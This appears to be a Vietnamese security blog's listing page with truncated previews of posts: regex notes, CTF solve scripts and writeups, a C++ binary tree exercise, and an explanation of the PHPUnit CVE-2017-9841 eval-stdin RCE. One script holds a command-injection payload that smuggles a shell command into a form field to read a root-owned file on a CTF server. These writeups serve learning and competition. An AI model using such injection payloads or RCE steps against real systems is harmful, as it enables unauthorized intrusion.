Bài đăng

Regex và cuộc đời bất hạnh của nó

 Hế hế, lâu rồi không ghi blog đơn giản vì chán quá + lười nữa.  Nhận thấy mình có vấn đề với thk cha Regex nên tiện hôm nay note lại để hiểu rõ hơn. ----------------------------------------------------------------------------------------------------------- Khái niệm: Regex là các mẫu(pattern) thay vì các chuỗi dùng để tìm kiếm/ thay thế/.... Nói nôm na là nó đc dùng xử lý chuỗi một cách thuận tiện hơn. Đây là cái sẽ làm nền tảng cho blind regex injection attack  Cú pháp Regex: Dùng để thể hiện vị trí  ^  và $ . ^The: match với chữ The nhưng nó phải đứng đầu tiên end$: match với từ end nhưng nó phải đứng cuối ^The end$: match với từ The end end: match với bất kì từ end nào có trong câu Dùng để thể hiện số lượng  *   +   ?   {} . Lấy ví dụ với từ abc abc*: match với từ ab và không có hoặc có nhiều chữ c đằng sau:  -VD: abccc,ab,abc,... abc+: match với ab và có một hoặc nhiều kí tự c đằng sau -VD: abc,abccc,... abc?: match với ab và có hoặc không có 1 chữ c đằng sau. -VD: ab,abc abc{2}:

KMA TTV

Mấy nay tui lười viết wu quá, nhưng mà đại loại là khum clear đc web(6/10 chall) còn làm khá ngoo nữa nên viết sẽ bị chê cười. Đăng tạm 3 prog solve script. T định clear hết prog nhưng lười quá, mà thấy sú nữa, t biết code đ đâu :V Prog1: import json from pwn import * r = remote ( '103.162.14.116' , 14002 ) try :     while ( True ) :         print ( r . recvline ())         r . recvuntil ( b "arr =" )         s = r . recvline (). decode ()         print ( s )         u = max ( json . loads ( s ))         r . sendline ( bytes ( str ( u ), "utf-8" )) except :     print ( r . recvline ()) r . interactive () # print(max( [35108217398665520798322916107816, 778190297752053830054479172279829, 433248835926907151366557863609100, 530511307645369300518075525954125, 319041740549641573432614280680049, 54889066684876542565651338313320, 555523546383080759680027939296310, 743500905362792400800205265076928, 568493246032607782686888251069529, 73281316704799390114350
 Cau truc du lieu va giai thuat Bai2: cau5 # include < iostream > using namespace std ; // khoi tao struct node; struct node {     int data ;     node * leftNode ;     node * rightNode ; } ; typedef struct node NODE ; typedef NODE * TREE ; // khoi tao node moi void createTree ( TREE & t ){     t = NULL ; } void createNewNodeForTree ( TREE & t , int data ){     if ( t == NULL ){         NODE * p = new node ;         p -> data = data ;         p -> leftNode = NULL ;         p -> rightNode = NULL ;         t = p ; // rootNode     } else {         if ( data > t -> data ){             createNewNodeForTree ( t -> rightNode , data ) ;         } else if ( data < t -> data ){             createNewNodeForTree ( t -> leftNode , data ) ;         }     } } void duyetTree ( TREE t ){     if ( t != NULL ){         duyetTree ( t -> leftNode ) ;         cout << t -> data << " " ;         duyetTree ( t -> ri
Hình ảnh
KMA THI SINH VIÊN ATTT CẤP HỌC VIỆN Hế lô ae, giải này end cũng mấy hôm rồi nhưng mà mình cũng chưa định viết writeup do còn 2 bài web nữa chưa xong :( Nhưng mà kệ đi, dưới đây là 3 bài mình đã solve. :( Pwn1: Welcome to KCSC Bài này mình chỉ đăng script thôi, xin nhỗi mn :> from pwn import * import requests # elf = context.binary = ELF("./advice") pay1 = b ''' Hello" && /usr/bin/as @/root/root.txt; echo" ''' pay2 = b " 111111 " # r = elf.process([pay1, pay2]) d = requests . post ( " http://103.162.14.116:5001/contact " , data ={ " name " : pay1 , " advice " : pay2 } ) print ( d . text ) # r.interactive() Web1: You are a good admin. Mn có thể tải file tại đây . Sau khi build docker xong, hãy quan sát một chút về code  có 4 route là / /login /admin /file. Cái /tesing là mình tự thêm vào nên mn không cần để ý đâu :)) Tại route /file, ta dễ thấy nó đang bị lỗi file inclusion tại tham số f.

CVE-2017-9841

Hình ảnh
 CVE-2017-9841 Lỗ hổng cho phép attacker thực thi lệnh tùy ý dẫn đến RCE.  Lỗ hổng này đã được Bob Weinand vô tình vá vào năm 2016 nhưng không hề có bất kì lời khuyên bảo mật nào nên tui sẽ nghiên cứu nó :v Mọi người có thể dựng lại lab tại đây Sau khi dirsearch mình nhận thấy có 1 file eval-stdin.php.  Theo như các research trước, tại file này sẽ chứa nội dung như sau <?php eval ( ' ?> ' . file_get_contents ( ' php://input ' )) ; Input chúng ta có thể điều khiển được đặt trong hàm eval mà không có bất kì biện pháp bảo vệ nào cả. Truy cập vô file đó về gửi mã php như sau. Mã của chúng ta đã được thực thi, bây giờ chỉ cần đọc flag trong env là xong
Hình ảnh
CSAWCTF VÀ TEAM MÌNH ĐÃ CỐ HẾT SỨC. Hello mn, chúng ta lại gặp nhau rồi :v Tại thời điểm mình ghi writeup thì bọn mình đang ở top 286, một kết quả khá khả quan đối với bọn mình. :v Và tất nhiên là bên mình vẫn sẽ tuyển các bạn RE tích cực hoạt động để kéo thành tích nhóm lên nhé :v Mình sẽ ghi writeup 2 bài web mình đã solve, khá là tệ :( +) Smug-Dino +) Philantrophy Web1: Smug-Dino Hãy xem thử link thử thách tác giả cung cấp.  Ta thấy rằng có 2 endpoint /flag và /hint khi truy cập /flag thì nó lại về localhost:3009/flag.txt. Còn khi truy cập /hint nó trả về page như này Server name là nginx và version của nó là 1.17.6 Sau khi truy cập thì được hint. 1 hồi search, mình thấy có một CVE-2019-20372 về NGINX http request smuggling. Đổi connection thành keep-alive và nhận về kết quả như sau. Xác định được lỗi, bây giờ đọc flag thôi :v Thực sự mình cũng đếch hiểu tạo sao lúc được lúc không, nhưng mn cứ post như này là ăn :v Cần thì cứ spam các kiểu đi. Web2: Philantrophy Bài này chủ yếu là r
Hình ảnh
  PatriotCTF và Spycio.Kon-Team Hello my friend, PatriotCTF is a beginner-friendly capture-the-flag competition hosted by GMU's cybersecurity club, MasonCC. So it's not too hard for me. At least I think so haha This is a writeup for 4/5 web chall which i solved. Ahh Im trying to improve my skill english so my writeup will not gud.  Okay, let's go. +) Scavenger Hunt (beginer) +) Flower Shop (medium) +) Pick Your Starter (medium) +) One-for-all (hard???) Web1: Scavenger Hunt In homepage, i got the first part of flag.  view source code, i got the second part At /robots.txt. I found the third pard. So sweet  And the script1.js, i got fourth part :D Finally, check cookie and we got the last piece of the flag. Web3:  Flower Shop Well well, as you can see, this is a white box. Let's check source code. I found where we can inject command to rce into file reset.class.php The link webhook was not filtered. :D I used requestrepo as webhook. u can use it here . I signup a new acc l